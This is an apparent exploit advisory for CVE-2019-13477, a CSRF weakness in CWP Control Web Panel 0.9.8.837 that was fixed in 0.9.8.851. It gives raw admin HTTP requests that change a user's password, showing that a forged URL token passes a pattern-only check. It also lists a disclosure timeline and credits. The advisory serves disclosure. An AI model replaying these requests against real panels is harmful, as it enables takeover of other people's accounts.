Cross-Site Request Forgery (CSRF)


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# Information
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Product     : CWP Control Web Panel
version     : 0.9.8.837
Fixed on    : 0.9.8.851
Test on     : CentOS 7.6.1810 (Core)
Reference   : https://control-webpanel.com/
CVE-Number  : 2019-13477


Original request

POST /cwp_4a1498ae31fc95e1b03f1a62d336b154/admin/loader_ajax.php?ajax=list_accounts HTTP/1.1
Host: 192.168.75.148:2087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.75.148:2087/cwp_4a1498ae31fc95e1b03f1a62d336b154/admin/index.php?module=list_accounts
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 50
Connection: close
Cookie: cwpsrv-bad194011f5ad0cf609c77ad222e50d6=53tt3djbnhepcprdbtoc7uc4d2; _firstImpression=true

accion=changePass&pass=UEBzc3cwcmQ=&username=user1




Even the url has token value,but the token only check for pattern "cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
modify the end of the token value  

POST /cwp_99999999999999999999999999999999/admin/loader_ajax.php?ajax=list_accounts HTTP/1.1
Host: 192.168.75.148:2087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.75.148:2087/cwp_4a1498ae31fc95e1b03f1a62d336b154/admin/index.php?module=list_accounts
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 50
Connection: close
Cookie: cwpsrv-bad194011f5ad0cf609c77ad222e50d6=53tt3djbnhepcprdbtoc7uc4d2; _firstImpression=true

accion=changePass&pass=UEBzc3cwcmQ=&username=user1



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# PoC
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https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13477.md


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# Timeline
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2019-06-05: Discovered the bug
2019-06-05: Reported to vendor
2019-06-05: Vender accepted the vulnerability
2019-07-17: The vulnerability has been fixed
2019-08-20: published


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# Discovered by
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Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak